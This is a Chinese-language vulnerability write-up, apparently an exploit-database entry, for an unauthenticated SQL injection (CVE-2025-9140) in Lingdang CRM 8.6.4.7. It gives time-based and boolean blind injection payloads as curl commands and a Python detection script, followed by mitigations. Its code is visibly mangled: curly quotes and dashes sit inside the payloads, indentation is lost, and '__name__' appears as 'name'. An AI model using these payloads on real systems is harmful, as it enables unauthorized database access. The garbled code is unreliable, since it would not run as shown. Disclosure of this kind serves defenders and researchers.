灵当CRM 8.6.4.7 SQL注入漏洞分析与利用

本文详细分析了灵当CRM 8.6.4.7版本中存在的SQL注入漏洞,提供了基于时间和布尔盲注的完整利用方法,包含curl命令和Python脚本实现,适用于安全研究人员进行漏洞验证。

漏洞标题:灵当CRM 8.6.4.7 - SQL注入

Google搜索语法:不适用

日期:2025-08-19

漏洞作者:Beatriz Fresno Naumova

厂商:上海灵当信息技术有限公司

软件链接:不适用(商业产品)

版本:<= 8.6.4.7(厂商公告称在8.6.5+版本中修复)

测试环境:通用LAMP栈,PHP 7/8(PoC使用HTTP协议;无操作系统依赖)

CVE:CVE-2025-9140

摘要

端点 /crm/crmapi/erp/tabdetail_moduleSave.php 通过 ‘getvaluestring’ 参数存在SQL注入漏洞。未经身份验证的远程攻击者可以执行基于布尔和时间的盲SQL注入。厂商表示在v8.6.5+版本中通过采用参数化查询修复了此问题。

路由

/crm/crmapi/erp/tabdetail_moduleSave.php

参数

getvaluestring(GET或POST)

注意事项

* 此PoC不针对实时站点。请将TARGET替换为您拥有的实验主机。

* 演示基于时间(SLEEP)和基于布尔的payload。

— 使用curl的快速PoC(基于时间的盲注)—

在易受攻击的目标上预期约5秒的响应延迟。

GET方式:

curl -i -k “http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=’||(SELECT SLEEP(5))–+-”

POST方式:

curl -i -k -X POST “http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php”
–data “getvaluestring=’||(SELECT SLEEP(5))–+-”

— 基于布尔的示例(响应/正文差异可能因部署而异)—

curl -s -k “http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=’ OR 1=1– -” -o /tmp/true.html curl -s -k “http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=’ OR 1=2– -” -o /tmp/false.html

比较 /tmp/true.html 和 /tmp/false.html 的观察差异。

— Python 3 PoC(基于时间)—

保存为 lingdang_sqli_poc.py 并运行:python3 lingdang_sqli_poc.py http://TARGET

import sys, time, requests

def test_time_sqli(base): url_get = f"{base.rstrip(’/’)}/crm/crmapi/erp/tabdetail_moduleSave.php" payload = “’||(SELECT SLEEP(5))–+-” try: t0 = time.time() r = requests.get(url_get, params={“getvaluestring”: payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] 可能通过GET存在基于时间的SQL注入漏洞。") else: print("[-] 通过GET未观察到显著延迟。") except Exception as e: print(f"[!] GET错误:{e}")

try:
    t0 = time.time()
    r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False)
    dt = time.time() - t0
    print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s")
    if dt >= 5:
        print("[+] 可能通过POST存在基于时间的SQL注入漏洞。")
    else:
        print("[-] 通过POST未观察到显著延迟。")
except Exception as e:
    print(f"[!] POST错误:{e}")

if name == “main”: if len(sys.argv) != 2: print(f"用法:{sys.argv[0]} http://TARGET") sys.exit(1) requests.packages.urllib3.disable_warnings() test_time_sqli(sys.argv[1])

— 影响 —

通过SQL注入(CWE-89)导致机密性、完整性、可用性受损。

— 缓解措施 —

1) 对getvaluestring参数使用参数化查询/预处理语句。

2) 服务器端输入验证和参数白名单。

3) 在此路由上配置Web应用防火墙(WAF)规则以阻止SQL注入模式。

— 披露 —

公共标识符:CVE-2025-9140(VulDB VDB-320520)。

厂商报告在8.6.5+版本中使用参数化查询修复了此问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计